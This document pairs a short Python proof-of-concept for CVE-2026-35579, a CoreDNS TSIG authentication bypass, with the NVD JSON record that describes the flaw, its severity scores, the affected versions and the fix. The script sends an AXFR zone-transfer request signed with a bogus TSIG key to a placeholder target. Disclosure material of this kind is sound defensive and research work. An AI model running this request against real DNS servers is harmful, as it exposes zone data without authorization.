CVE-2026-35579

import socket import dns.message import dns.tsig import dns.query # CoreDNS TSIG Authentication Bypass PoC (CVE-2026-35579) # This script demonstrates sending an AXFR request with a fake TSIG key. # Due to the flaw, the server might accept it if the key name exists (gRPC/QUIC) # or accept any TSIG record (DoH/DoH3). target_ip = "192.168.1.100" # Replace with target IP zone = "example.com" # Create a DNS message for AXFR (Zone Transfer) query = dns.message.make_query(zone, 'AXFR') # Add a TSIG record with a known key name but INVALID key data # In this vulnerability, the MAC verification is skipped or ignored. key_name = "key-exists-in-config" # Attacker needs to guess this for gRPC/QUIC # For DoH/DoH3, even a random key name works. keyring = dns.tsig.HMACTSig(key_name, "bogus-key-data") query.use_tsig(keyring) try: # Send the query via TCP (Standard AXFR) response = dns.query.tcp(query, target_ip) print(f"Response status: {response}") print("If zone data is returned, the bypass is successful.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-35579", "sourceIdentifier": "[email protected]", "published": "2026-05-05T21:16:22.247", "lastModified": "2026-05-08T15:58:53.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CoreDNS is a DNS server written in Go. In versions prior to 1.14.3, the gRPC, QUIC, DoH, and DoH3 transport implementations incorrectly handle TSIG authentication. For gRPC and QUIC, the server checks whether the TSIG key name exists in the configuration but never calls dns.TsigVerify() to validate the HMAC. If the key name matches a configured key, the tsigStatus field remains nil and the tsig plugin treats the request as successfully authenticated regardless of the MAC value. For DoH and DoH3, the issue is more severe: the DoHWriter.TsigStatus() method unconditionally returns nil, and the server never inspects the TSIG record at all. Any request containing a TSIG record is treated as authenticated over DoH and DoH3, even if the key name is invalid and the MAC is arbitrary.\n\nAn unauthenticated network attacker can exploit this to bypass TSIG-protected functionality such as AXFR/IXFR zone transfers, dynamic DNS updates, or other TSIG-gated plugin behavior. The DoH and DoH3 variants have a lower exploitation bar because the attacker does not need to know a valid TSIG key name.\n\nThis issue has been fixed in version 1.14.3. As a workaround, disable gRPC, QUIC, DoH, and DoH3 listeners where TSIG authentication is required, or restrict network-level access to affected transport ports to trusted sources only."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:coredns.io:coredns:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.14.3", "matchCriteriaId": "0B1F8FE2-314C-4C38-9F18-099ACCFF0AAD"}]}]}], "references": [{"url": "https://github.com/coredns/coredns/security/advisories/GHSA-vp29-5652-4fw9", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}, {"url": "https://github.com/coredns/coredns/security/advisories/GHSA-vp29-5652-4fw9", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}]}}